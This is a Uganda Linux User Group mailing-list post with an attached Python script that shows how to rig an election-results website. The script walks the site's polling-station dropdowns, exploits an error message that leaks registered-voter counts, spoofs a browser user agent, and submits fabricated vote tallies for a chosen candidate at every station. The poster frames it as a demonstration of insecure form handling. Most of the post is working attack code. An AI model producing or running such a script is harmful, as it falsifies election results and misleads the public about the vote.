See the attached file for a quick proof of concept.

If you check out http://www.voteug.com/details and tally by the national
level, you'll see that Mr. Olara Otunnu is doing well.  (Although I don't
actually even know who he is)

That's because he is currently getting every vote in the country- It's
amazing what a python script can do.

*Disclaimer*:
Obviously this is just a very simple demonstration of http form interaction
with python.  Any reasonable site purporting to have accurate results would
do things _completely_ differently.

-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.

#!/usr/bin/env python

import re
import random
from cookielib import CookieJar
from urllib2 import Request, HTTPCookieProcessor, urlopen, build_opener
from urllib import urlencode

URL = 'http://www.voteug.com'


'''
Below is the list of candidates.  Don't change the 'num' field as that is set on the server.
Change the percentages to add up to 100 or less (not over- that's cheating)
'''
CANDIDATES = [
    {'num': 1, 'name': 'Besigye Kizza Kifefe', 'percent': 0},
    {'num': 2, 'name': 'Yoweri Kaguta Museveni', 'percent': 0},
    {'num': 3, 'name': 'Mao Nobert', 'percent': 0},
    {'num': 4, 'name': 'Jaberi Bidandi Ssali', 'percent': 0},
    {'num': 5, 'name': 'Beti Olive Namisango Kamya', 'percent': 0},
    {'num': 6, 'name': 'Abed Bwanika', 'percent': 0},
    {'num': 7, 'name': 'Olara Otunnu', 'percent': 100},
    {'num': 8, 'name': 'Samuel Lubega Walter Mukaaku', 'percent': 0}
]

# We need to start by sending a crazy high number of votes for a polling station
# The system will respond that it's too high, and conventiently tell us the
# number of registered voters.  Then we submit again with that number
# distributed by our percentages above.
CRAZY_HIGH_POPULATION = 1000000


# shuffles a list
def shuffle(l):
    l = list(l)
    random.shuffle(l)
    return l

# The site uses cookies to 'validate' users.  No problem there.
cookiejar = CookieJar()
opener = build_opener(HTTPCookieProcessor(cookiejar))

# This agent looks good enough
opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)')]

# Compile a regular expression to parse the slect options
r = re.compile(r'<option name="(?P<name>.*?)".*?value="(?P<value>.*?)"')

# Loop through all the ajax calls
for d in shuffle(r.findall(opener.open(URL).read())):
    district_name = d[0]
    for ea in shuffle(r.findall(opener.open('%s/post?%s' % (URL, urlencode({'source':'district', 'value':d[1]}))).read())):
        e_area_name = ea[0]
        for scounty in shuffle(r.findall(opener.open('%s/post?%s' % (URL, urlencode({'source':'ea', 'value':ea[1]}))).read())):
            scounty_name = scounty[0]
            for parish in shuffle(r.findall(opener.open('%s/post?%s' % (URL, urlencode({'source':'scounty', 'value':scounty[1]}))).read())):
                parish_name = parish[0]
                for ps in r.findall(opener.open('%s/post?%s' % (URL, urlencode({'source':'parish', 'value':parish[1]}))).read()):
                    ps_name = parish[0]
                    data = {'pstation': ps[1]}

                    # First cast a very high vote to get the error giving us the total voting population
                    for c in CANDIDATES:
                        data.update({'_'.join((str(c['num']), c['name'])):CRAZY_HIGH_POPULATION})             
                    match = re.search(r'no\. of voters:(?P<no>\d+)\)', opener.open(URL, urlencode(data)).read())

                    # Uh-oh
                    if not match:
                        continue
                    
                    # Now this is the total registered for each polling station                    
                    total = int(match.groupdict()['no'])


                    print "District: %s\nElectoral Area: %s\nSub-County: %s\nParish: %s\nPolling Station: %s" % \
                          (district_name, e_area_name, scounty_name, parish_name, ps_name)
                    print "Total registered voters: %d" % total

                    # Fill the ballot box
                    for c in CANDIDATES:
                        data.update({'_'.join((str(c['num']), c['name'])):int(total * (c['percent'] / 100.0))})
                    match = re.search(r'Total Posted = (?P<posted>\d+)<br/>(?P<dict>.*?)</td>',
                                      opener.open(URL, urlencode(data)).read())

                    if not match:
                        print "Posting failed"
                    else:
                        print "Votes Successfuly Cast:"
                        print "----- ----------- -----"
                    m_dict = match.groupdict()
                    for candidate in re.sub(r'("|{|})','', m_dict['dict']).split(','):
                        print candidate.strip()
                    print "Total Votes Cast: %s\n\n" % m_dict['posted']
_______________________________________________
The Uganda Linux User Group: http://linux.or.ug

Send messages to this mailing list by addressing e-mails to: [email protected]
Mailing list archives: http://www.mail-archive.com/[email protected]/
Mailing list settings: http://kym.net/mailman/listinfo/lug
To unsubscribe: http://kym.net/mailman/options/lug

The Uganda LUG mailing list is generously hosted by INFOCOM: 
http://www.infocom.co.ug/

The above comments and data are owned by whoever posted them (including 
attachments if any). The mailing list host is not responsible for them in any 
way.

Reply via email to